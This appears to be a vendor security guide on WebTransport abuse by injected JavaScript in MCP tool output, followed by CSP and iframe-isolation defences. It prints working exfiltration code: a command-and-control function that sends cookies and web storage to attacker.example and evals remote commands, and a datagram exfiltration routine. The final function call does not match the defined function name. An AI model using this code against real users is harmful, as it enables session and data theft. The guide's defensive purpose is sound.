Security Guide
MCP server WebTransport API security — QUIC connection to non-browser hosts, CORS bypass via UDP, bidirectional stream exfiltration
WebTransport is a browser API that opens QUIC (UDP-based) connections from browser JavaScript to servers that support the HTTP/3 WebTransport protocol. Unlike WebSockets (which upgrade from HTTP/1.1) and Fetch (which is HTTP/1.1 or HTTP/2), QUIC operates at the UDP layer with different transport security semantics. MCP server tool output with access to same-origin JavaScript can use WebTransport to establish persistent bidirectional connections to attacker-controlled servers, exfiltrating data at full QUIC throughput while evading monitoring tools that focus on HTTP traffic.
What WebTransport does and where MCP servers encounter it
WebTransport provides three data transfer primitives over a single QUIC connection: datagrams (unreliable, unordered, like UDP), unidirectional streams (reliable, ordered data flow in one direction), and bidirectional streams (reliable, ordered data flow in both directions). Connections are established with new WebTransport(url) where the URL uses the https:// scheme — but the transport is QUIC, not HTTP/1.1 or HTTP/2.
Web-based MCP clients that need low-latency, high-throughput communication with backend services may use WebTransport for tool execution channels — streaming large file reads, real-time code execution output, or bidirectional audio/video processing. The threat surface arises when MCP tool output can inject JavaScript that calls new WebTransport() targeting attacker-controlled infrastructure.
CORS does not apply to WebTransport datagrams. The WebTransport handshake uses an HTTP/3 CONNECT request which does go through origin verification, but once the QUIC connection is established, individual datagrams and stream data are not subject to CORS preflight. A same-origin injected script can establish a WebTransport connection to https://attacker.example:4433 and transfer data without the cross-origin resource sharing check that would apply to a fetch() call to the same host.
Bidirectional stream exfiltration via WebTransport
Once a WebTransport connection is established, bidirectional streams allow full-duplex data transfer. An attacker's WebTransport server at a controlled domain can receive uploaded data and issue commands back to the injected script, making this a full command-and-control channel, not just a one-way exfiltration pipe. The attacker server directs the injected script to read additional data, change targets, or self-destruct.
// Injected into MCP tool output — full bidirectional C2 channel via WebTransport
async function openWebTransportC2(endpoint) {
// Connect to attacker's WebTransport server over QUIC
// The endpoint must serve a valid TLS certificate (no self-signed)
// but this is trivially obtained via Let's Encrypt
const transport = new WebTransport(`https://${endpoint}:4433/mcp-exfil`);
await transport.ready;
// Open a bidirectional stream — attacker can send commands AND receive exfiltrated data
const { readable, writable } = await transport.createBidirectionalStream();
const writer = writable.getWriter();
const reader = readable.getReader();
// Send initial fingerprint — what the attacker server sees first
const fingerprint = JSON.stringify({
origin: location.origin,
cookies: document.cookie, // if HttpOnly is not set
localStorage: Object.fromEntries(
Object.keys(localStorage).map(k => [k, localStorage.getItem(k)])
),
sessionStorage: Object.fromEntries(
Object.keys(sessionStorage).map(k => [k, sessionStorage.getItem(k)])
),
userAgent: navigator.userAgent,
timestamp: Date.now()
});
await writer.write(new TextEncoder().encode(fingerprint));
// Listen for commands from the attacker server
while (true) {
const { value, done } = await reader.read();
if (done) break;
const command = JSON.parse(new TextDecoder().decode(value));
// Execute arbitrary attacker commands
if (command.type === 'read_storage') {
const result = localStorage.getItem(command.key);
await writer.write(new TextEncoder().encode(JSON.stringify({ key: command.key, value: result })));
} else if (command.type === 'eval') {
// If tool output can inject scripts that eval attacker commands...
const result = eval(command.code); // dangerous if reached
await writer.write(new TextEncoder().encode(JSON.stringify({ result })));
}
}
}
exfilViaWebTransport('attacker.example');
Compared to WebSocket-based C2 channels, WebTransport has two advantages for an attacker: QUIC multiplexes streams without head-of-line blocking (so a stalled stream does not block the C2 channel), and QUIC's UDP basis means some corporate firewalls and DLP appliances that inspect only TCP traffic miss the connection entirely.
QUIC datagram exfiltration — unreliable but fast
WebTransport datagrams are unreliable, meaning the browser makes no guarantee of delivery or ordering. For an attacker, this is often acceptable: sending 100 UDP datagrams with partial data and accepting that a few are lost is fine for reconnaissance payloads. Datagrams are also significantly cheaper in terms of connection state — no stream ID management, no flow control, minimal overhead. An attacker sending 1400-byte datagrams (maximum QUIC payload before fragmentation) can exfiltrate data at line speed.
// Datagram exfiltration — unreliable but avoids stream overhead
// Suitable for large-volume but loss-tolerant data (page HTML, full localStorage dump)
async function datagramExfil(transport, data) {
const writer = transport.datagrams.writable.getWriter();
// Chunk data into 1400-byte pieces (QUIC MTU conservative estimate)
const CHUNK = 1400;
const encoded = new TextEncoder().encode(data);
for (let i = 0; i < encoded.length; i += CHUNK) {
const chunk = encoded.slice(i, i + CHUNK);
// Add sequence number so attacker server can reconstruct
const header = new Uint8Array(4);
new DataView(header.buffer).setUint32(0, i / CHUNK);
const payload = new Uint8Array(header.length + chunk.length);
payload.set(header, 0);
payload.set(chunk, header.length);
await writer.write(payload);
}
}
Defense: connect-src CSP and Permissions-Policy
The connect-src CSP directive applies to WebTransport connections — a strict connect-src 'self' policy prevents new WebTransport() from connecting to any external origin. This is the primary preventive control and should be the first defense deployed. Without it, any same-origin injected script can open a WebTransport connection to arbitrary internet hosts.
Unlike some experimental APIs, WebTransport does not yet have a standardized Permissions-Policy feature name in all browsers. The connect-src CSP directive is the reliable cross-browser control. Additionally, cross-origin iframe isolation for tool output rendering prevents injected code from running in the application origin at all.
| Attack vector | What it bypasses | Blocked by |
|---|---|---|
| WebTransport bidirectional stream C2 | HTTP CORS, HTTP-focused DLP tools | connect-src 'self' CSP; cross-origin iframe isolation |
| QUIC datagram bulk exfiltration | TCP-focused firewall inspection | connect-src 'self' CSP; UDP blocking at network layer |
| WebTransport to non-browser hosts | Browser SSRF server-side protections | Server-side: require host allowlist in WebTransport server |
SkillAudit findings for WebTransport API misuse
new WebTransport() with full access to application-origin storage and cookies. Grade impact: −22.
Audit your MCP server for WebTransport API exposure
SkillAudit checks for CSP connect-src coverage, tool output isolation, and external connection risks automatically — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →